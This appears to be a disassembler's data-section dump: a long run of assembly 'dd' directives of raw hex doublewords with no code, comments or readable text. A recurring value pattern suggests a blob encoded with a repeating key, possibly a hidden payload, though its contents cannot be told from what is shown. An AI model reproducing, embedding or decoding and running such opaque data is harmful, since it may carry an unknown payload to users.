4D63DC7Ch dd 0BB10A96Dh, 18930E43h, 69C6611h, 0BBEBEFACh, 21FC38B6h dd 8B156622h, 26A35E56h, 0D16418E1h, 73836539h, 980E043Bh dd 38FC90DBh, 4F156688h, 5FB2E771h, 6597BDBh, 0D3A8ED33h dd 3D134EACh, 32156CC3h, 0E1940622h, 1C78750h, 8B7438DAh dd 0CDEA99BBh, 32156DCBh, 9B3E511h, 496E58B3h, 994BF1C2h dd 32128F42h, 39446611h, 0E1449C31h, 3091691Eh, 0B8156622h dd 0F22407E2h, 3203ED87h, 0B41A6644h, 32156632h, 32156DF8h dd 0ACC1C88h, 874BBF8Ch, 0B8B3C654h, 347D3540h, 6909B8FAh dd 3395C5h, 0F19434EDh, 83FBD9F1h, 334EBF01h, 6B14ECB5h dd 1CCFE642h, 9AA3B590h, 2747850h, 3E9A698Ch, 3D156622h dd 3215609Dh, 32956988h, 60156644h, 32156798h, 68C36711h dd 3219E187h, 0BA1A6644h, 32156624h, 3215E81Eh, 6EA6688h dd 1611EDC3h, 5211A2A1h, 0B2D3D11Eh, 0F3747B48h, 0B9756EADh dd 0C59400E1h, 3746CDCh, 339E6949h, 0CB156644h, 6D906968h dd 52EA99EEh, 3215EB87h, 52746644h, 8973E096h, 0B1744122h dd 3E9C6264h, 39FC3E60h, 45156622h, 358CFC9Bh, 0EF0FC9FBh dd 0DE967F9Dh, 1611EF26h, 6A3172E6h, 6D4206E8h, 8EAC0025h dd 6EA07C5h, 0F6943C35h, 3215668Ch, 321BE44Bh, 3BFC6622h dd 1D156611h, 767CEC8Ch, 70C7C573h, 0BB118AA1h, 309A4215h dd 32156C61h, 0FF733444h, 0F92428C5h, 0B1CD5A06h, 369C6264h dd 3211DE60h, 0F0146622h, 0B3730649h, 0B38B8058h, 43AAF1ADh dd 0BB450772h, 321163F1h, 36386688h, 0B5156644h, 0BB494226h dd 54754205h, 0C756E431h, 32078F25h, 8E6C6622h, 23263E14h dd 0DE502669h, 0F38182C6h, 7C34061Ah, 267CE3EEh, 0CE7560A0h dd 32156EADh, 20AE4622h, 577AAA45h, 0A79E07C6h, 343D722Dh dd 279869DAh, 3D156611h, 3215690Eh, 321F8F44h, 0DFD16622h dd 364CD688h, 156A7204h, 2DB4F37Dh, 0B61A600Ah, 3215665Dh dd 16C8E6E8h, 0CD743F17h, 0B34F4216h, 321562D5h, 0D8940688h dd 53002668h, 16219943h, 36D1E74Fh, 0DB156688h, 32156643h dd 0CCF0AA08h, 0CBB828BAh, 3211DCDAh, 0DC946644h, 7DCD32DDh dd 0F494B010h, 7DCD3277h, 25FC9A1Eh, 0CEEA99DEh, 6131729Ah dd 0F1948501h, 32156640h, 3211A5A3h, 2E926611h, 3D753AACh dd 321564C6h, 0B2740622h, 0CD7463F5h, 0B34B42BCh, 32156280h dd 0BE1A9F22h, 32156617h, 0B84A35E8h, 527407BDh, 0E106B5A3h dd 3BFC09A8h, 4156688h, 74EEA9Dh, 0A66B24BDh, 1619ED70h dd 0B3F4EFD9h, 32156285h, 36D4E722h, 0B5156611h, 0CE494284h dd 673162CFh, 0F79483ABh, 32156615h, 0B511A30Bh, 0CA494268h dd 30D0E3E5h, 32156039h, 0F5ED6688h, 1A11A7C1h, 32156624h dd 0F59F0611h, 0B174AD03h, 1D6A11F9h, 0B61A6624h, 32156658h dd 3201E787h, 3DFC6644h, 0C6156622h, 1B6A10ABh, 609C6347h dd 0C997EB16h, 0AF98D97Fh, 343BF178h, 32156B61h, 0F26C244h dd 251EB118h, 0A686456Dh, 0E1EA66AEh, 3FFC06BCh, 0BB156622h dd 7CF8053Eh, 9231FEB7h, 5FA71C0h, 3F909943h, 0C7134E23h dd 18DB0Bh, 3D71606Ch, 321770A0h, 21936911h, 0DB156688h dd 3215664Ah, 0D485C37Ch, 0B4C82F50h, 38D5D899h, 0B7D2E7EAh dd 343D542Fh, 32156610h, 0BFEC0671h, 1D5D95C1h, 33976924h dd 0CE156611h, 21FCB677h, 37156644h, 4D04E00h, 0A4A8CB19h dd 0E3DA5303h, 0D24690DCh, 87982A67h, 343AE656h, 32156061h dd 6A032044h, 0CB638F88h, 3B65DB9Ch, 0B41A60B8h, 32156645h dd 0B3D2E7DEh, 0B3236F00h, 1E444967h, 0B3E24F7Dh, 1E4449E5h dd 0B3FAE728h, 52236F99h, 0DAD4ED22h, 32156631h, 68EE3743h dd 0F5CE3160h, 337424ECh, 47D6422Bh, 3D386841h, 32156600h dd 0B1743C44h, 69C62CEh, 0BBEBEF35h, 3D75387Ah, 321560C6h dd 10D3E722h, 0B34D9FA8h, 76329C4Ah, 8F9E071Dh, 343D42C3h dd 321DE71Eh, 0B21A6688h, 32156646h, 0CDAC0742h, 52EA99EEh dd 0D7C4E7EEh, 0EA940626h, 1C4E6C2Bh, 5374AE9Ah, 61EDA6B9h dd 321566FFh, 0F4D6E722h, 3337213Dh, 0F4FEE77Bh, 0B8372168h dd 0B31A3D21h, 3215661Dh, 3213E487h, 0B91A6644h, 32156622h dd 63E9AE21h, 32156731h, 6BDB6744h, 0CD749F42h, 8C43E125h dd 26C70772h, 36311275h, 0C8203E7Ch, 5201B470h, 3217EE87h dd 53756644h, 0F374FC91h, 0B3756EF8h, 3BE0D26Ah, 0F19E007Ch dd 0CBD45743h, 0BF90695Bh, 0CAEA9977h, 0AAB3015h, 330C327Eh dd 6C114265h, 6E2D4BD0h, 0A5ED7F10h, 0CA24B1D5h, 0CA24A120h dd 0B51A06E8h, 32156644h, 0AB23D844h, 0B72C0770h, 343D6215h dd 327FE24Bh, 39FC6622h, 0FD156611h, 0FCA9CA50h, 8301786Bh dd 5CAD8F20h, 0C51F2866h, 0C8182658h, 0C57C8E54h, 1FC591F2h dd 0CFECFEEBh, 3DD56D74h, 321574C1h, 33906922h, 0CA156611h dd 188E34Fh, 3214606Ch, 5AE06622h, 3215783Bh, 89317A01h dd 537B006Fh, 367B95A3h, 0C1945E11h, 8695D3Fh, 6AF385C5h dd 0F1942E95h, 0F20A66C9h, 0C74EBF89h, 3A976925h, 3D156622h dd 32156495h, 60740688h, 706D65FEh, 8B442C24h, 8792F45h dd 3198A709h, 0F83C11CEh, 68C4EF7Bh, 32156AF8h, 28931288h dd 86F694BAh, 200D3958h, 2879DCB2h, 0D0D433AEh, 0CED7E742h dd 0B30E6450h, 270ACAF3h, 9AC37B8h, 0B36FE161h, 306B35E3h dd 11FCE77Fh, 33E80D4Eh, 0BB1A3F8Eh, 32156623h, 0B975CBE4h dd 32108E49h, 99806644h, 0DAD3A57Dh, 32156601h, 0D90F7328h dd 0CA994EF7h, 0CDED35ECh, 11FDF0D9h, 0BB743CD1h, 1A11F3F1h dd 32018F24h, 7C266611h, 0C64C262Dh, 7C2A3207h, 5BD61EDBh dd 0C8134412h, 8D427600h, 728D394Bh, 0F2DAE765h, 0B35B5E7Ch dd 0BD1F4D6Fh, 32AC3726h, 33A811D4h, 4C9C3FDEh, 3FFC3974h dd 4C156644h, 54590160h, 3146C1C6h, 0FB7BDD84h, 0DCFB8879h dd 0FD9069CCh, 3D156611h, 32156F00h, 0EA950644h, 7CAA0058h dd 0C940759h, 0EFC8BB55h, 32A1E34Bh, 52756622h, 3215EF1Eh dd 0F49E6688h, 32018E25h, 977B6622h, 8F688B31h, 0E18F9AEh dd 88B59CAAh, 0CAF5D628h, 0EA9439D3h, 31B76413h, 0BB1A071Ah dd 32156628h, 32986971h, 0B9156688h, 34D20794h, 53F156B0h dd 3CEA68EEh, 1494707Fh, 3CE82463h, 8FCC60A3h, 3EFC97F7h dd 95156688h, 8C675ED7h, 98913301h, 600E3E4Ch, 32156232h dd 0BED3E744h, 3365BC6Dh dd 0BEFBE7C7h, 6865BCC7h, 53753524h, 3491697Ch, 3D156611h dd 32156606h, 0B71A0744h, 32156623h, 0A7A0EFEDh, 0CE134E8Ch dd 323ECAADh, 56FC9E22h, 0DBEA99EFh, 32156682h, 8D3A3370h dd 0B16FA3h, 0B945E37Ah, 0F6964294h, 23936940h, 0DB156622h dd 3215661Dh, 7263F305h, 0F0B4CC04h, 0F349BC0Ch, 188E322h dd 0B41A60A0h, 3215664Dh, 54F3EC42h, 0B4458890h, 31DDA7E9h dd 321DED4Bh, 0B41A6622h, 32156613h, 884707E8h, 73961273h dd 282A84A3h, 0B3573F20h, 0A83BEC4Ah, 68C54FA0h, 0F010B60Bh dd 0DB30FD2Fh, 32156698h, 0E82C3C96h, 81D89CAFh, 822E03DBh dd 30E7B1C3h, 3D05A685h, 321569A5h, 321F8F11h, 0A4BC6688h dd 6A93B49Bh, 93CA5D58h, 0BBECAE20h, 1A26FB15h, 35FC0642h dd 0D0156622h, 2A209C34h, 0F8944360h, 1BDCF46Eh, 32155B43h dd 0B11A6610h, 32156732h, 3207EA4Bh, 3FFC6622h, 0FB156611h dd 2E76B65Fh, 0E9FD9894h, 0E1B54FB4h, 89AE5890h, 0B71ADD33h dd 321567D2h, 321EEC2Dh, 54756611h, 0E094B003h, 61B10413h dd 33956943h, 0CB156611h, 684E0ED9h, 3E9E2F2Dh, 36D1E706h dd 0B3156611h, 6B13B449h, 31E4E75Ah, 0B340C45Eh, 0ADF7B4D0h dd 6B1BEF45h, 321569ADh, 0A7B5FD22h, 0B41DEF3Ah, 85B361DEh dd 0B6177CF6h, 3211D975h, 0CC146611h, 0B3315A03h, 32156280h dd 321E8F22h, 0D8106611h, 512FBE3h, 0E74B9FC8h, 0A7A0EFC0h dd 3D134E15h, 32156707h, 0AF9E9344h, 343D55E3h, 4DAA9F71h dd 532FAA91h, 3E9E55BBh, 36D1E706h, 0CA156611h, 32118A09h dd 369C6644h, 1611E706h, 573E7FF2h, 0D1FFE7D2h, 52704D5Dh dd 53E091A9h, 197D9A71h, 0BB1566D1h, 524D4250h, 0CFBE744h dd 35FC07FDh, 6B156688h, 0C1095272h, 0B73E43C2h, 343D4B4Ch dd 0DBEDEDE8h, 32156654h, 0CBD66E3Eh, 893F3D0Ah, 0D161E454h dd 0A8012F92h, 3E976943h, 3D156611h, 32156004h, 32956944h dd 0F3156622h, 0BD1A64F1h, 3215669Eh, 321577ADh, 0E871E422h dd 7A15E0DBh, 5F237676h, 0B1232816h, 0B71602D4h, 343D4EF4h dd 321FE587h, 37FC6644h, 62156622h, 0A218CDC2h, 0F42496B9h dd 0DBE99675h, 3215662Ah, 81C882C0h, 54FB56D2h, 0CB389AE9h dd 3357935Fh, 4EAC37D9h, 0B331DCB3h, 0F6A8E5ADh, 6BDD67C3h dd 1651EFE4h, 321B8F94h, 0FE1C6644h, 0B8B6C930h, 0D6B9464Fh dd 0E9A1F86h, 321B8F25h, 5B7C6622h, 0A93D5EA8h, 4CB3EA46h dd 0AA9D054h, 3217BECBh, 0BB409F11h, 36D0E76Dh, 0B3156644h dd 321562CFh, 1639E111h, 1619EFD4h, 0D49C30B1h, 3211A0A3h dd 0DC966611h, 1621E18Ch, 1601EF18h, 3C9C6942h, 0DB156611h dd 32156681h, 81E1AFBh, 0A5AD4A37h, 309A6901h, 0B9156688h dd 0FB2407B3h, 349669DBh, 52156611h, 0CB14B608h, 0E780ED25h dd 0CA134E2Fh, 0B61A642Ah, 3215662Bh, 32156FADh, 5E339E22h dd 0A616FD9Ah, 0DE94225Eh, 32156640h, 8D315AABh, 32156615h dd 3D4A9C89h, 321573C8h, 8D1A0622h, 321E8FD6h, 5F0B6688h dd 0F936D22Eh, 26B15D4Bh, 8A450726h, 0CDEA9977h, 524DA76Dh dd 321568CBh, 380E011h, 0B75C6E8h, 3888F2C4h, 53799ADBh dd 2DB4EB2Ah, 0B71A60A0h, 0CDEA99D0h, 41AF34D7h, 0B319BE45h dd 7313C66Ah, 30F7A726h, 303ADD71h, 0E81C003Ah, 0C9E7E7D3h dd 0B3549A74h, 925608E0h, 0F0E7E76Ah, 0BBB711EDh, 0B31A3C94h dd 32156623h, 5C98EBE8h, 0C7134EC7h, 0BBE087BBh, 1A010FAFh dd 0B81A0617h, 32156684h, 321560ACh, 4B2BAF22h, 6DC239CEh dd 0CD74AE03h, 0B14F4270h, 0B37562E6h, 2E566CD6h, 6EA07DEh dd 0F6963F60h, 0B9730626h, 32078FE9h, 0DFB06688h, 84452BF4h dd 0CFE1E5DEh, 9F5922E1h, 0AF59611h, 3F200E25h, 69C6622h dd 3A9B6935h, 3D156688h, 321564C1h, 0B9740622h, 1A26A78Ch dd 34FC068Eh, 0C5156644h, 0B9F4EC4Eh, 53E2ED6Fh, 8B445577h dd 54C81018h, 36312A0Bh, 0F3943F48h, 54C810D4h, 3D5AD124h dd 321562ADh, 0F8AF0011h, 0B79E07E6h, 343D722Dh, 3212E12Dh dd 0B21A6611h, 32156689h, 0DBF5B7B1h, 32156633h, 1922DA52h dd 7BC0D96Bh, 3912C76Dh, 0CFB49945h, 0BB90658Ah, 0DB134E8Fh dd 32156657h, 0B970FC6Ch, 8FC4FCC3h, 9EEBCA5Ah, 5F03B3EEh dd 391DC10h, 26FC06E7h, 0DB156688h, 0CB0521E5h, 99E250B8h dd 0A4D316E0h, 63C400A6h, 54CC8D3Ch, 6274B1A9h, 69E3E47h dd 36D1E5ACh, 369C6924h, 54156622h, 0DB5F98AAh, 32156683h dd 415529Eh, 40CC82BFh, 53A05204h, 0B375CBEEh, 771832ACh dd 319E6967h, 0B2156611h, 0F374B755h, 3DED64A4h, 321574A0h dd 32188F11h, 0B03E6688h, 4EE3ED3Dh, 310BA232h, 31297BF8h dd 1A3D830Dh, 0B1459E42h, 69C62CEh, 0DB4B3E35h, 32156698h dd 3232C3BBh, 55D9AA41h, 0A34518F7h, 598D6A7Ah, 0C4AC06E9h dd 0B30BF75Bh, 4D7CA9D8h, 37EC078Eh, 7F4230A6h, 8F40AE23h dd 7F4230F3h, 52488EA1h, 321560ACh, 7288222h, 3D345850h dd 3215660Bh, 0B9753944h, 76AD00FDh, 0CD740714h, 0B14B42BCh dd 3D756280h, 321564A1h, 8C4F3111h, 39B9988Dh, 8BA8E525h dd 33134E35h, 32CEE21Eh, 0BE1A6688h, 32156643h, 3214E82Dh dd 52ED6611h, 0A90EB537h, 321B8E47h, 36906622h, 570FC139h dd 0B0656B83h, 0D484BA04h, 212FB39Ch, 9743F3Fh, 1A38B305h dd 90916942h, 0DB156622h, 32156600h, 0CCAA809Eh, 93D3F399h dd 0A3CBD924h, 0F5F8D481h, 7F985D92h, 3D134E53h, 3215E6A6h dd 0B9730611h, 18E7E772h, 537F3168h, 2248EB19h, 0B61A6039h dd 321566E1h, 320CE74Bh, 26FC6622h, 57156611h, 78CCAA36h dd 0F058DCF1h, 0CE5D3880h, 416D6FBCh, 0BFE6FFA6h, 1DC94AD9h dd 32068F24h, 5DE56611h, 0CEFAF031h, 4BEF77CEh, 0F1980B71h dd 1B2B9FBDh, 52C69950h, 53ADBAC4h, 0BBD4EF73h, 1619EDDEh dd 3211A209h, 0BBE96644h, 1A3027A7h, 0DBEC9317h, 32157964h dd 82BDDC24h, 80A340E2h, 1E88EB70h, 0C7134954h, 0B375B5BBh dd 6A1B20ECh, 53E2EC78h, 25ACDB0Bh, 3D15606Ch, 321551A6h dd 88730611h, 3DAAF04Eh, 5349F811h, 129CE319h, 0B61A6039h dd 32156692h, 32156EADh, 906CAD22h, 0C74BFF32h, 77905DD6h dd 3D134E6Dh, 321561A7h, 52FC9F11h, 0CEEA9977h, 2AA4E37Fh dd 0B71A600Ah, 32156678h, 5D39DFE8h, 3DFC2867h, 0B8156622h dd 186B06FEh, 3ADB3908h, 0B1278A91h, 0B174CA30h, 1A3173ACh dd 0B61A668Eh, 32156651h, 0EC2BDC42h, 0B174374Fh, 1A13DF35h dd 0B61A6642h, 3215660Fh, 4F90EBE4h, 521349C1h, 32156BADh dd 0C886CF22h, 0E0BB7B82h, 87166C37h, 83ABF3BDh, 53467CFAh dd 3214EF1Eh, 0DBEC6688h, 0CDEA98AFh, 83905DDEh, 3D134E09h dd 0CDEBB80Ch, 389669BBh, 52156622h, 8CECED77h, 7788FC01h dd 69A8E525h, 3313495Dh, 325FE31Eh, 3FFC6688h, 9D156644h dd 365642ABh, 0B901EECFh, 0CEF4930Bh, 4D9AE37Fh, 0B71A600Dh dd 3215663Dh, 0D690EB7Dh, 0CE153F4Fh, 0CDEBDDCBh, 21FC06EEh dd 0DD156688h, 0EDD53F60h, 0AC9960FEh, 84096FB8h, 2C048028h dd 0B3731302h, 53BC6AD0h, 3D759920h, 78A1B73Fh, 13A8E525h dd 32134E35h, 2312E21Eh, 0BA1A6688h, 32156645h, 49905DDAh dd 3D13496Eh, 3215590Dh, 32108F44h, 0B5D26622h, 0B98D1C9Eh dd 1A0A930Dh, 321B8F42h, 961B6622h, 689E0BA8h, 641D5F10h dd 7720BF05h, 0CDEADD71h dd 0ED3C99EEh, 3F9769D3h, 52156644h, 9F82B09Ch, 71CFE74Eh dd 534095CFh, 4D96E37Fh, 0B71A600Dh, 3215660Dh, 1B90ED74h dd 0C7134E45h, 16119975h, 0B3315A9Ah, 3215624Ch, 339E6944h dd 0C7156622h, 4D6AE32Ah, 0B71A60A7h, 3215667Bh, 544FD142h dd 0A79D8590h, 32198FE9h, 31156644h, 20E05CC9h, 0A86FE70Fh dd 0B79E6061h, 343D7891h, 321577CBh, 60B96011h, 0F20843DFh dd 0C9819037h, 8E521B9Dh, 0F524634Ah, 0F5249EB9h, 9E0F104h dd 1D6AE1A7h, 0A906917h, 3D156688h, 32156EC5h, 30906922h dd 52156611h, 65ED06E9h, 40D6E722h, 0B9743F72h, 1A1A4B94h dd 321D8F8Eh, 0DC326644h, 0E659DB91h, 8F404B71h, 0CDEA9977h dd 5248896Dh, 97498A8h, 1D6AED94h, 1290698Eh, 3D156644h dd 321567A6h, 0B79E9E11h, 343D6BD9h, 0DB940024h, 0FAA46C97h dd 33AF3470h, 33156688h, 9E93C93h, 1D6AE9A7h, 61906917h dd 3D156688h, 32157EC1h, 32068F22h, 72156611h, 0D5252FE2h dd 0DC5A2C7Fh, 6F6A2CE9h, 68DC93CAh, 32078F86h, 3C476644h dd 0B5B87CFDh, 3F706A64h, 230B0412h, 0E2DD0FE2h, 2BCCE3A9h dd 3BFC6039h, 7F156688h, 8C1B85E8h, 887F7505h, 0CDEADE41h dd 0F53C9977h, 0B72E931Ch, 343A19B1h, 3267E31Eh, 0B3756688h dd 9E4F159Dh, 269E6912h, 0DB156611h, 32156687h, 9E66D085h dd 757205EBh, 8A1DDD97h, 537E4F4Bh, 2668E3CFh, 0B275600Ah dd 89735BE7h, 6174D0E4h, 321567FFh, 69CA6722h, 0F19E0071h dd 32157461h, 782D5D44h, 0D44DF40Ch, 15C3AF08h, 0E856F4F3h dd 530B5E1Bh, 3203EE2Dh, 23FC6611h, 1A156688h, 0B118224Bh dd 0FCDA6A75h, 0D6A68129h, 271DE8EFh, 4D82E37Fh, 0B71A600Dh dd 3215662Fh, 32156E61h, 0E3ACA644h, 0D3F35660h, 8973061Eh dd 0CE75B1E5h, 0B79E0725h, 343D70BBh, 3212EF1Eh, 0B91A6688h dd 32156645h, 0B3C2E1DBh, 0CDEA99FBh, 52C2E177h, 68CAED12h dd 6BC8529Ah, 0B72E0767h, 343A1913h, 3259E34Bh, 20FC6622h dd 0CF156611h, 0EC8043D7h, 0E5EC612Bh, 71B3FD62h, 5A87B81Fh dd 0F90ED04h, 3D134E52h, 321561A2h, 33926911h, 0CB156688h dd 0BAC37BDh, 7B651F66h, 76228F90h, 0FD1416F1h, 3992691Dh dd 52156622h, 3DABA191h, 32156606h, 0B72E0744h, 343A19BDh dd 3251E31Eh, 0BF1A6688h, 32156643h, 3D740642h, 5274B7A6h dd 7BF39009h, 0E994511Ah, 5B42A3A1h, 1F90ED70h, 0DB134E9Ch dd 3215664Dh, 0C833F871h, 2B5B79B9h, 33AB3069h, 33156644h dd 35FC38D5h, 3B156611h, 56A5A8BFh, 0B72E9094h, 343A1985h dd 3234E31Eh, 54756688h, 8973A0CFh, 3D74738Bh, 32156794h dd 0B79E9F88h, 343D7765h, 0CDAF34DAh, 1BEA99EEh, 9E93C5Fh dd 1D6AC5C1h, 4C906924h, 3D156611h, 3215730Eh, 3D916944h dd 0DB156622h, 3215661Bh, 4C60CFFAh, 0AA6D7EA1h, 8F96F9E5h dd 343D7604h, 64906988h, 52156644h, 321568CBh, 0BFCC0F11h dd 0CC633DFFh, 0CC391572h, 0DB003D0Eh, 3215661Fh, 0FDD838E9h dd 0DB03AF1Dh, 7A3ACE48h, 0B974F506h, 1A398B0Dh, 321F8F42h dd 0C2BD6622h, 0C744A248h, 64C2798Fh, 0CDEADC16h, 0E53C99DDh dd 321E8F4Bh, 0F23C6688h, 0FD56FBCBh, 0FDD22E5Dh, 0BA8E5C2h dd 32134E92h, 3251E24Bh, 9ED6622h, 1D954994h, 590698Eh dd 0DB156644h, 3215662Ah, 0CBF59124h, 0E7033C2h, 2628E3CFh dd 0B275600Ah, 0B37387F7h, 53AA7C43h, 0CDEADE14h, 0F53C99DDh dd 32198F49h, 388C6688h, 95B42F99h, 1C6DF8EFh, 8F96AF81h dd 343D4769h, 37916944h, 0CB156620h, 321561F8h, 3D317388h dd 1A27DD44h, 1FB8DBA1h, 3D156039h, 32148D0Ch, 321F8F44h dd 3F66622h, 73AEE3D7h, 48739F4Ch, 0B206E37Fh, 0B71A600Dh dd 32156624h, 6B90ED74h, 52134E5Ch, 32156ECBh, 5E697411h dd 0E37B711h, 0E8A269F1h, 42AC3743h, 0B33F4615h, 0EDEEE949h dd 6BDA4F91h, 32156ECBh, 53D22C11h, 0EBF98C44h, 11905D6Eh dd 3D1349A2h, 32155394h, 3E956988h, 3D156644h, 321560A3h dd 32976911h, 52156688h, 321560ACh, 0F696EA22h, 0C70EC0F2h dd 0C19E00D3h, 0FF90ED25h, 0CA134E33h, 0CDEADF40h, 0FD3C9977h dd 0B72E9A1Dh, 343AE635h, 3238E31Eh, 37FC6688h, 0CC156644h dd 0FB55D3FAh, 3214ED1Eh, 0B9E06688h, 1A060BC1h, 8D1A0624h dd 627493D3h, 32156730h, 6AD26744h, 3214EB2Dh, 9E96611h dd 1D95410Dh, 75906942h, 52156622h, 0DBA2D371h, 32156681h dd 90A74916h, 338DF44Ch, 0B97407F3h, 1A18770Dh, 32188F42h dd 0E8176622h, 4CA8E3A9h, 4CD196F5h, 6359EEE2h, 3215679Bh dd 6BDA6711h, 32156B61h, 0FC540344h, 35772B78h, 917C4563h dd 0B72E5ED4h, 343AE66Fh, 3248E32Dh, 22FC6611h, 96156688h dd 0AD425A60h, 93F7A096h, 0ED77931Bh, 0B9F1EE46h, 1A03B7C1h dd 2F966924h, 52156611h, 32157261h, 44B80544h, 6E58626Ah dd 0E8733F33h, 0EAD17CACh, 58D4B04Fh, 53740612h, 3214DB44h dd 0DD146688h, 22906919h, 0DB156622h, 3215661Ah, 0BFB68E9Eh dd 47B78EDh, 97F0C41h, 1D957D94h, 1D90698Eh, 52156644h dd 0D4DAE744h, 0F99E00ACh, 0E790EDE9h, 0DB134E76h, 3215662Ah dd 90E3FFDAh, 71791842h, 3214D812h, 0C5146622h, 6144064Fh dd 8D1A3CD7h, 0B72E07BFh, 343AE63Dh, 320BE31Eh, 3AFC6688h dd 51156644h, 0C510A3A3h, 0B9AA51A1h, 1A027F0Dh, 88479342h dd 0CDEA99DDh, 0CB4FB138h, 1FB8DB0Bh, 3D15606Ch, 321FBAA6h dd 32188F11h, 5FBD6688h, 0AD720D00h, 7CBC7B66h, 3DF03F12h dd 32156A06h, 32128F44h, 0F6876622h, 71A96981h, 99905D54h dd 3D13493Bh, 32152BA7h, 3A926911h, 3D156688h, 321564CFh dd 0B9740622h, 1A114F94h, 3890698Eh, 52156644h, 0B3C5E744h dd 0ED9E0021h, 0F3AE35E9h, 0F3428D18h, 0F19464C1h, 447E0B62h dd 359EA509h, 0C1944FEAh, 322C71DFh, 0DB4EB938h, 3215668Eh dd 27B8362Eh, 0B72E0967h, 343AE62Eh, 324FE387h, 0B71A6644h dd 3215662Ch, 87C6E771h, 3D0BEE1Ch, 321566C4h, 37FC0722h dd 0C9156611h, 6F2ED6C3h, 37CCE3CFh, 5475600Ah, 0DB8C71ABh dd 32156683h, 0CE094998h, 3CD4F403h, 5343321Dh, 3214DDDBh dd 0ED146644h, 32078F79h, 0D4C66611h, 878BA61Ah, 1E8F29F2h dd 4F6E0E95h, 8DB061BAh, 4DBAE3B3h, 0B71A606Bh, 32156613h dd 349E6971h, 3D156688h, 321566C8h, 0B79E0722h, 343D6ADCh dd 3218E487h, 0B3756644h, 624D0EDh, 2CA0DF63h, 61747A90h dd 321567FFh, 69CA6722h, 81905DE4h, 3D1349F7h, 32153FC1h dd 339C6922h, 0CA156611h, 32156061h, 4B633A44h, 0B93C5CC5h dd 1A0F3394h, 0DA94068Eh, 28F9C177h, 8B4407DAh, 0CDEA99EEh dd 3D4CA9A1h, 32156ECFh, 30916922h, 52156611h, 0B21A06E9h dd 32156645h, 32068FDAh, 5E1E6611h, 0D5DDC0B6h, 94CCA647h dd 3E77203h, 0A83C8656h, 0B72E070Eh, 343A19F3h, 323FE32Dh dd 3D756611h, 3DFCB937h, 0C156644h, 15B20D26h, 6C086563h dd 1AB1E9D9h, 0B974C703h, 1A330FA7h, 8B449E17h, 0CDEA9977h dd 0CE4CA96Dh, 4DAEE319h, 0B71A603Eh, 321566D8h, 0F1AA6924h dd 0DB940071h, 534ECF0Ch, 2200DB0Bh, 3D15606Ch, 321551A7h dd 0B79E9A11h, 343D6619h, 0B34293B8h, 32144226h, 0CE4A6611h dd 320BE487h, 0B8756644h, 32018ED1h, 0AF4D6611h, 0CCBC4B2Eh dd 0BC3CEAC3h, 0AF8A1038h dd 90143E02h, 534A8C93h, 4DAAE37Fh, 0B71A600Dh, 32156624h dd 0B97306E8h, 3290699Ah, 53156622h, 5353B991h, 14C8E303h dd 0DBED606Ch, 3215662Dh, 0CF470417h, 73F28006h, 4F81D3Ch dd 60861942h, 321567ABh, 68C26788h, 0F1905DBDh, 3D13495Dh dd 32153B94h, 3DFC9388h, 0B8156644h, 0BF43BAEDh, 8AFCC2AFh dd 0BC652F22h, 8F969007h, 343D7637h, 9906911h, 52156688h dd 1DAD0024h, 33DFDE08h, 0C77461FBh, 8790EDE9h, 3D134E76h dd 321567A8h, 8C439311h, 32156689h, 0DB4B9145h, 32156630h dd 6B3C773Ah, 6C2F0C1Bh, 671C0694h, 4A833E00h, 0B72ECB67h dd 343A194Fh, 324EE34Bh, 3CFC6622h, 88156611h, 170F8111h dd 2E1F98A6h, 8AF3AF2Bh, 26FD0610h, 51156688h, 1C228FC9h dd 52CA9217h, 3866F25Fh, 5777BF7h, 3DBE6145h, 524EAF9Dh dd 32058FE9h, 33B96688h, 0C82F28EAh, 6324F276h, 0EC3068C9h dd 5374E7F7h, 3318E3CFh, 60E0600Ah, 321567ABh, 68C26788h dd 0F9905DBCh, 3D13495Dh, 32153194h, 35906988h, 3D156644h dd 321567A1h, 0B79E9F11h, 343D4F09h, 32156BADh, 0D9B81022h dd 196779ADh, 7F9BF454h, 8A45390Ah, 68B75C6Bh, 116CE734h dd 33EA6B9Bh, 0DAC4232Eh, 87099817h, 6AD2673Ah, 32157561h dd 0A6E81644h, 0EED3E0DAh, 0DD28602Eh, 0BCA37495h, 39A194ADh dd 4DC6E319h, 0B71A603Eh, 321566B3h, 321FE74Bh, 37FC6622h dd 0C5156611h, 99DA492Dh, 2200DBC7h, 3D15600Ah, 32157894h dd 35976988h, 3D156644h, 321567A8h, 0B79E9E11h, 343D577Dh dd 33A833B1h, 33156622h, 9E03BFEh, 1D6AA90Dh, 40906942h dd 52156622h, 76C793A8h, 0FC9E00B7h, 2B986925h, 52156622h dd 3215EC1Eh, 3EFC6688h, 7F156644h, 5E6FED6Fh, 0A920696Eh dd 5311AB8Dh, 2200DBC7h, 3D15600Ah, 32155A94h, 3E946988h dd 3D156644h, 321560AEh, 32926911h, 0B9156688h, 1A03DFC1h dd 8C730624h, 0BF1A1AEAh, 3215668Bh, 53D3ED22h, 3214DF73h dd 0FD146611h, 0B37306D1h, 54A572ABh, 5315039Ah, 0E5905DE4h dd 3D1349F7h, 32150FC1h, 321E8F22h, 7F746611h, 0A79F8E7Fh dd 0EA5E0509h, 32138F5Ah, 0A4366611h, 0B4E11029h, 1CE0E3CFh dd 21FC600Ah, 53156611h, 56F3A0Dh, 0A974FACDh, 0CDAECDB3h dd 5BF49E44h, 8847CE69h, 32156645h, 0DB4FB123h, 3215661Bh dd 6A3B96AFh, 0C4818556h, 21FCFC55h, 0AD156611h, 95DEC7CDh dd 57092003h, 249DE63Fh, 0B5F5A34Bh, 0B72E0E06h, 343A199Fh dd 3251E32Dh, 26FC6611h, 0AF156688h, 7B4F2467h, 9D389E2h dd 91EBCB0Ah, 0BDE08F43h, 0B9BAEF3Ch, 1A167FA7h, 35986917h dd 3D156688h, 321567C6h, 0ED929322h, 3214A590h, 0ED926688h dd 265ADE24h, 54752959h, 0CBEBB9A8h, 0B72E07E9h, 343A199Bh dd 3226E32Dh, 34FC6611h, 0A9156688h, 0B75DABC5h, 4390EDAFh dd 0CA134E09h, 32156A61h, 9F216B44h, 72E18E13h, 0AB2E4ACFh dd 0CDAD360Eh, 1BEA99BBh, 0B51A3EE5h, 32156610h, 0D1905D70h dd 3D13493Bh, 321556A7h, 32048F11h, 0D5EE6688h, 0D3B63A18h dd 0DE120A00h, 0D41FEE55h, 0B9FB5773h, 1A31BFC1h, 8F409A24h dd 32156610h, 0DB488989h, 32156641h, 5D091625h, 0D5905D24h dd 3D1349F7h, 321557C1h, 321D8F22h, 0A6856611h, 1150F725h dd 0B79EE4EEh, 343D645Fh, 321BE81Eh, 3BFC6688h, 0B5156644h dd 5C6D38F0h, 0E52C8739h, 